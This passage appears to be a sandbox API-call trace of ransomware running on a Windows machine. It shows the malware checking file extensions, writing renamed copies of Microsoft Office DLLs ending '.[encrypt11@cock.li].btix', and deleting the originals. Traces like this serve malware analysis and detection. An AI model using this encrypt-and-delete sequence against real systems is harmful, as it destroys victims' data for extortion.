4 [0156.435] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0156.435] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-xstate-l2-1-0.dll") returned 79 [0156.435] lstrlenW (lpString=".zip") returned 4 [0156.435] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0156.435] lstrlenW (lpString=".rar") returned 4 [0156.435] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0156.435] lstrlenW (lpString=".bz2") returned 4 [0156.435] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0156.435] lstrlenW (lpString=".7z") returned 3 [0156.435] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0156.435] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-xstate-l2-1-0.dll") returned 79 [0156.435] lstrlenW (lpString=".dbf") returned 4 [0156.435] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0156.435] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-xstate-l2-1-0.dll") returned 79 [0156.435] lstrlenW (lpString=".1cd") returned 4 [0156.435] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0156.435] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-xstate-l2-1-0.dll") returned 79 [0156.435] lstrlenW (lpString=".jpg") returned 4 [0156.435] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0156.436] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-xstate-l2-1-0.dll") returned 79 [0156.436] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-xstate-l2-1-0.dll") returned 79 [0156.436] lstrlenW (lpString=".doc") returned 4 [0156.436] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0156.436] lstrlenW (lpString=".docx") returned 5 [0156.436] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0156.436] lstrlenW (lpString=".pdf") returned 4 [0156.436] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0156.436] lstrlenW (lpString=".xls") returned 4 [0156.436] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0156.436] lstrlenW (lpString=".xlsx") returned 5 [0156.436] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0156.436] lstrlenW (lpString=".ppt") returned 4 [0156.436] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0156.436] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-xstate-l2-1-0.dll") returned 79 [0156.436] lstrlenW (lpString=".zip") returned 4 [0156.436] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0156.436] lstrlenW (lpString=".rar") returned 4 [0156.436] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0156.436] lstrlenW (lpString=".bz2") returned 4 [0156.436] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0156.436] lstrlenW (lpString=".7z") returned 3 [0156.436] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0156.436] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-xstate-l2-1-0.dll") returned 79 [0156.436] lstrlenW (lpString=".dbf") returned 4 [0156.436] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0156.436] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-xstate-l2-1-0.dll") returned 79 [0156.436] lstrlenW (lpString=".1cd") returned 4 [0156.436] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0156.436] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-xstate-l2-1-0.dll") returned 79 [0156.437] lstrlenW (lpString=".jpg") returned 4 [0156.437] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0156.437] lstrcmpiW (lpString1=".dll", lpString2=".btix") returned 1 [0156.437] lstrlenW (lpString="api-ms-win-crt-conio-l1-1-0.dll") returned 31 [0156.437] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-conio-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-crt-conio-l1-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0156.437] GetFileSizeEx (in: hFile=0x36c, lpFileSize=0x351ff14 | out: lpFileSize=0x351ff14*=19648) returned 1 [0156.437] CloseHandle (hObject=0x36c) returned 1 [0156.437] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-conio-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-crt-conio-l1-1-0.dll")) returned 0x220 [0156.437] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-conio-l1-1-0.dll.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-crt-conio-l1-1-0.dll.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0156.437] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-conio-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-crt-conio-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0156.437] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec0 | out: lpNewFilePointer=0x0) returned 1 [0156.438] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec0 | out: lpNewFilePointer=0x0) returned 1 [0156.438] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-conio-l1-1-0.dll.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-crt-conio-l1-1-0.dll.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0156.853] GetLastError () returned 0x0 [0156.853] ReadFile (in: hFile=0x36c, lpBuffer=0x3f4a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x351fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f4a020*, lpNumberOfBytesRead=0x351fecc*=0x4cc0, lpOverlapped=0x0) returned 1 [0156.855] WriteFile (in: hFile=0x348, lpBuffer=0x3f4a020*, nNumberOfBytesToWrite=0x4cd0, lpNumberOfBytesWritten=0x351fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f4a020*, lpNumberOfBytesWritten=0x351fc94*=0x4cd0, lpOverlapped=0x0) returned 1 [0156.856] ReadFile (in: hFile=0x36c, lpBuffer=0x3f4a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x351fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f4a020*, lpNumberOfBytesRead=0x351fecc*=0x0, lpOverlapped=0x0) returned 1 [0156.856] WriteFile (in: hFile=0x348, lpBuffer=0x3f4a020*, nNumberOfBytesToWrite=0x112, lpNumberOfBytesWritten=0x351fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f4a020*, lpNumberOfBytesWritten=0x351fc94*=0x112, lpOverlapped=0x0) returned 1 [0156.857] SetEndOfFile (hFile=0x348) returned 1 [0156.857] CloseHandle (hObject=0x348) returned 1 [0156.857] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec0 | out: lpNewFilePointer=0x0) returned 1 [0156.857] SetEndOfFile (hFile=0x36c) returned 1 [0156.858] CloseHandle (hObject=0x36c) returned 1 [0156.858] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-conio-l1-1-0.dll.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0156.858] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-conio-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-crt-conio-l1-1-0.dll")) returned 1 [0156.858] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-conio-l1-1-0.dll") returned 77 [0156.858] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-conio-l1-1-0.dll") returned 77 [0156.858] lstrlenW (lpString=".doc") returned 4 [0156.858] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0156.858] lstrlenW (lpString=".docx") returned 5 [0156.858] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0156.858] lstrlenW (lpString=".pdf") returned 4 [0156.859] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0156.859] lstrlenW (lpString=".xls") returned 4 [0156.859] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0156.859] lstrlenW (lpString=".xlsx") returned 5 [0156.859] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0156.859] lstrlenW (lpString=".ppt") returned 4 [0156.859] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0156.859] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-conio-l1-1-0.dll") returned 77 [0156.859] lstrlenW (lpString=".zip") returned 4 [0156.859] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0156.859] lstrlenW (lpString=".rar") returned 4 [0156.859] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0156.859] lstrlenW (lpString=".bz2") returned 4 [0156.859] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0156.859] lstrlenW (lpString=".7z") returned 3 [0156.859] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0156.859] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-conio-l1-1-0.dll") returned 77 [0156.859] lstrlenW (lpString=".dbf") returned 4 [0156.859] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0156.859] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-conio-l1-1-0.dll") returned 77 [0156.859] lstrlenW (lpString=".1cd") returned 4 [0156.859] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0156.859] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-conio-l1-1-0.dll") returned 77 [0156.859] lstrlenW (lpString=".jpg") returned 4 [0156.859] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0156.859] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-conio-l1-1-0.dll") returned 77 [0156.859] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-conio-l1-1-0.dll") returned 77 [0156.859] lstrlenW (lpString=".doc") returned 4 [0156.859] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0156.859] lstrlenW (lpString=".docx") returned 5 [0156.859] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0156.859] lstrlenW (lpString=".pdf") returned 4 [0156.859] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0156.860] lstrlenW (lpString=".xls") returned 4 [0156.860] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0156.860] lstrlenW (lpString=".xlsx") returned 5 [0156.860] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0156.860] lstrlenW (lpString=".ppt") returned 4 [0156.860] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0156.860] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-conio-l1-1-0.dll") returned 77 [0156.860] lstrlenW (lpString=".zip") returned 4 [0156.860] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0156.860] lstrlenW (lpString=".rar") returned 4 [0156.860] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0156.860] lstrlenW (lpString=".bz2") returned 4 [0156.860] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0156.860] lstrlenW (lpString=".7z") returned 3 [0156.860] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0156.860] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-conio-l1-1-0.dll") returned 77 [0156.860] lstrlenW (lpString=".dbf") returned 4 [0156.860] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0156.860] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-conio-l1-1-0.dll") returned 77 [0156.860] lstrlenW (lpString=".1cd") returned 4 [0156.860] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0156.860] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-conio-l1-1-0.dll") returned 77 [0156.860] lstrlenW (lpString=".jpg") returned 4 [0156.860] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0156.860] lstrcmpiW (lpString1=".dll", lpString2=".btix") returned 1 [0156.860] lstrlenW (lpString="api-ms-win-crt-environment-l1-1-0.dll") returned 37 [0156.860] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-environment-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-crt-environment-l1-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0156.874] GetFileSizeEx (in: hFile=0x374, lpFileSize=0x351ff14 | out: lpFileSize=0x351ff14*=19136) returned 1 [0156.874] CloseHandle (hObject=0x374) returned 1 [0156.874] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-environment-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-crt-environment-l1-1-0.dll")) returned 0x220 [0156.874] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-environment-l1-1-0.dll.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-crt-environment-l1-1-0.dll.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0156.874] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-environment-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-crt-environment-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0156.874] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec0 | out: lpNewFilePointer=0x0) returned 1 [0156.874] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec0 | out: lpNewFilePointer=0x0) returned 1 [0156.874] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-environment-l1-1-0.dll.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-crt-environment-l1-1-0.dll.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0156.879] GetLastError () returned 0x0 [0156.879] ReadFile (in: hFile=0x374, lpBuffer=0x3f4a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x351fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f4a020*, lpNumberOfBytesRead=0x351fecc*=0x4ac0, lpOverlapped=0x0) returned 1 [0156.881] WriteFile (in: hFile=0x33c, lpBuffer=0x3f4a020*, nNumberOfBytesToWrite=0x4ad0, lpNumberOfBytesWritten=0x351fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f4a020*, lpNumberOfBytesWritten=0x351fc94*=0x4ad0, lpOverlapped=0x0) returned 1 [0156.882] ReadFile (in: hFile=0x374, lpBuffer=0x3f4a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x351fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f4a020*, lpNumberOfBytesRead=0x351fecc*=0x0, lpOverlapped=0x0) returned 1 [0156.882] WriteFile (in: hFile=0x33c, lpBuffer=0x3f4a020*, nNumberOfBytesToWrite=0x11e, lpNumberOfBytesWritten=0x351fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f4a020*, lpNumberOfBytesWritten=0x351fc94*=0x11e, lpOverlapped=0x0) returned 1 [0156.882] SetEndOfFile (hFile=0x33c) returned 1 [0156.882] CloseHandle (hObject=0x33c) returned 1 [0156.883] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec0 | out: lpNewFilePointer=0x0) returned 1 [0156.883] SetEndOfFile (hFile=0x374) returned 1 [0156.883] CloseHandle (hObject=0x374) returned 1 [0156.883] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-environment-l1-1-0.dll.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0156.884] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-environment-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-crt-environment-l1-1-0.dll")) returned 1 [0156.884] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-environment-l1-1-0.dll") returned 83 [0156.884] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-environment-l1-1-0.dll") returned 83 [0156.884] lstrlenW (lpString=".doc") returned 4 [0156.884] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0156.884] lstrlenW (lpString=".docx") returned 5 [0156.884] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0156.884] lstrlenW (lpString=".pdf") returned 4 [0156.884] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0156.884] lstrlenW (lpString=".xls") returned 4 [0156.884] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0156.884] lstrlenW (lpString=".xlsx") returned 5 [0156.884] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0156.884] lstrlenW (lpString=".ppt") returned 4 [0156.884] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0156.884] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-environment-l1-1-0.dll") returned 83 [0156.884] lstrlenW (lpString=".zip") returned 4 [0156.884] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0156.884] lstrlenW (lpString=".rar") returned 4 [0156.884] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0156.884] lstrlenW (lpString=".bz2") returned 4 [0156.884] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0156.884] lstrlenW (lpString=".7z") returned 3 [0156.884] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0156.884] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-environment-l1-1-0.dll") returned 83 [0156.884] lstrlenW (lpString=".dbf") returned 4 [0156.884] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0156.884] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-environment-l1-1-0.dll") returned 83 [0156.885] lstrlenW (lpString=".1cd") returned 4 [0156.885] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0156.885] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-environment-l1-1-0.dll") returned 83 [0156.885] lstrlenW (lpString=".jpg") returned 4 [0156.885] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0156.885] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-environment-l1-1-0.dll") returned 83 [0156.885] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-environment-l1-1-0.dll") returned 83 [0156.885] lstrlenW (lpString=".doc") returned 4 [0156.885] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0156.885] lstrlenW (lpString=".docx") returned 5 [0156.885] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0156.885] lstrlenW (lpString=".pdf") returned 4 [0156.885] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0156.885] lstrlenW (lpString=".xls") returned 4 [0156.885] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0156.885] lstrlenW (lpString=".xlsx") returned 5 [0156.885] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0156.885] lstrlenW (lpString=".ppt") returned 4 [0156.885] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0156.885] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-environment-l1-1-0.dll") returned 83 [0156.885] lstrlenW (lpString=".zip") returned 4 [0156.885] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0156.885] lstrlenW (lpString=".rar") returned 4 [0156.885] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0156.885] lstrlenW (lpString=".bz2") returned 4 [0156.885] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0156.885] lstrlenW (lpString=".7z") returned 3 [0156.885] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0156.885] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-environment-l1-1-0.dll") returned 83 [0156.885] lstrlenW (lpString=".dbf") returned 4 [0156.885] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0156.885] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-environment-l1-1-0.dll") returned 83 [0156.885] lstrlenW (lpString=".1cd") returned 4 [0156.886] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0156.886] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-environment-l1-1-0.dll") returned 83 [0156.886] lstrlenW (lpString=".jpg") returned 4 [0156.886] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0156.886] lstrcmpiW (lpString1=".dll", lpString2=".btix") returned 1 [0156.886] lstrlenW (lpString="api-ms-win-crt-filesystem-l1-1-0.dll") returned 36 [0156.886] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-filesystem-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-crt-filesystem-l1-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0156.886] GetFileSizeEx (in: hFile=0x374, lpFileSize=0x351ff14 | out: lpFileSize=0x351ff14*=20672) returned 1 [0156.886] CloseHandle (hObject=0x374) returned 1 [0156.886] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-filesystem-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-crt-filesystem-l1-1-0.dll")) returned 0x220 [0156.886] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-filesystem-l1-1-0.dll.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-crt-filesystem-l1-1-0.dll.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0156.887] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-filesystem-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-crt-filesystem-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0156.887] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec0 | out: lpNewFilePointer=0x0) returned 1 [0156.887] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec0 | out: lpNewFilePointer=0x0) returned 1 [0156.887] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-filesystem-l1-1-0.dll.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-crt-filesystem-l1-1-0.dll.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0156.887] GetLastError () returned 0x0 [0156.887] ReadFile (in: hFile=0x374, lpBuffer=0x3f4a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x351fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f4a020*, lpNumberOfBytesRead=0x351fecc*=0x50c0, lpOverlapped=0x0) returned 1 [0156.892] WriteFile (in: hFile=0x33c, lpBuffer=0x3f4a020*, nNumberOfBytesToWrite=0x50d0, lpNumberOfBytesWritten=0x351fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f4a020*, lpNumberOfBytesWritten=0x351fc94*=0x50d0, lpOverlapped=0x0) returned 1 [0156.893] ReadFile (in: hFile=0x374, lpBuffer=0x3f4a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x351fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f4a020*, lpNumberOfBytesRead=0x351fecc*=0x0, lpOverlapped=0x0) returned 1 [0156.893] WriteFile (in: hFile=0x33c, lpBuffer=0x3f4a020*, nNumberOfBytesToWrite=0x11c, lpNumberOfBytesWritten=0x351fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f4a020*, lpNumberOfBytesWritten=0x351fc94*=0x11c, lpOverlapped=0x0) returned 1 [0156.893] SetEndOfFile (hFile=0x33c) returned 1 [0156.893] CloseHandle (hObject=0x33c) returned 1 [0156.893] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec0 | out: lpNewFilePointer=0x0) returned 1 [0156.893] SetEndOfFile (hFile=0x374) returned 1 [0156.894] CloseHandle (hObject=0x374) returned 1 [0156.894] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-filesystem-l1-1-0.dll.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0156.894] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-filesystem-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-crt-filesystem-l1-1-0.dll")) returned 1 [0156.896] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-filesystem-l1-1-0.dll") returned 82 [0156.896] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-filesystem-l1-1-0.dll") returned 82 [0156.896] lstrlenW (lpString=".doc") returned 4 [0156.896] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0156.896] lstrlenW (lpString=".docx") returned 5 [0156.896] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0156.896] lstrlenW (lpString=".pdf") returned 4 [0156.896] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0156.897] lstrlenW (lpString=".xls") returned 4 [0156.897] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0156.897] lstrlenW (lpString=".xlsx") returned 5 [0156.897] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0156.897] lstrlenW (lpString=".ppt") returned 4 [0156.897] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0156.897] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-filesystem-l1-1-0.dll") returned 82 [0156.897] lstrlenW (lpString=".zip") returned 4 [0156.897] 